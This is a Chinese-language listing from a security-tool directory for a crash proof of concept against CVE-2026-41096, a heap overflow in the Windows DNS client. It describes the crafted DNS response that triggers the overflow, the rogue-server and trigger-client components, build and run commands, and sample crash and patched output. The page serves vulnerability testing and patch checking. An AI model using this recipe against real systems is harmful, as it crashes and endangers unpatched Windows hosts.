Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-41096 — CVE-2026-41096: Windows DNS 客户端中的堆溢出 | Kitploit
工具/GitHubGitHub/m0n1x90/cve-2026-41096
Payload生成漏洞分析漏洞利用模糊测试DNS 分析二进制利用
GitHubm0n1x90/cve-2026-41096

CVE-2026-41096

CVE-2026-41096: Windows DNS 客户端中的堆溢出

查看仓库
322个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-41096 - 崩溃 PoC

DnsRawTruncateMessageForUdp()(dnsapi.dll)中存在堆溢出。当截断逻辑错误计算目标指针时,带有 QDCOUNT=0 和大型 OPT 记录的特制 DNS 响应会导致 604 字节的堆溢出。

MSRC 公告: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096

组件

FileDescription
rogue_dns_server.py恶意 DNS 服务器(Python 3)。对每个查询都回复一个 QDCOUNT=0 + OPT 响应(623 字节)。
trigger_client.c触发客户端(C/Win32)。调用指向恶意服务器的 DnsQueryRaw。通过 SetUnhandledExceptionFilter 捕获崩溃。

要求

攻击者(恶意服务器):

  • Python 3
  • Root/管理员权限(端口 53)

受害者(触发客户端):

  • 带有 DnsCache 服务的 Windows 操作系统(需要 DnsQueryRaw)
  • 存在漏洞的 dnsapi.dll 版本
  • Visual Studio / Windows SDK(用于构建)

用法

1. 启动恶意服务器:

root@kitploit:~
sudo python3 rogue_dns_server.py

2. 构建并运行触发客户端:

root@kitploit:~
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>

3.(可选)启用页面堆(Page Heap)以实现确定性崩溃:

root@kitploit:~
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>

退出代码

CodeMeaning
0系统已修补(干净地返回 DNS_ERROR_BAD_PACKET)
1错误(未找到 DnsQueryRaw、网络问题等)
2检测到崩溃(确认堆溢出)

示例输出

存在漏洞(页面堆):

root@kitploit:~
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...

[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000

[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.

存在漏洞(无页面堆):

root@kitploit:~
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...

[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.

已修补:

root@kitploit:~
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.
下载工具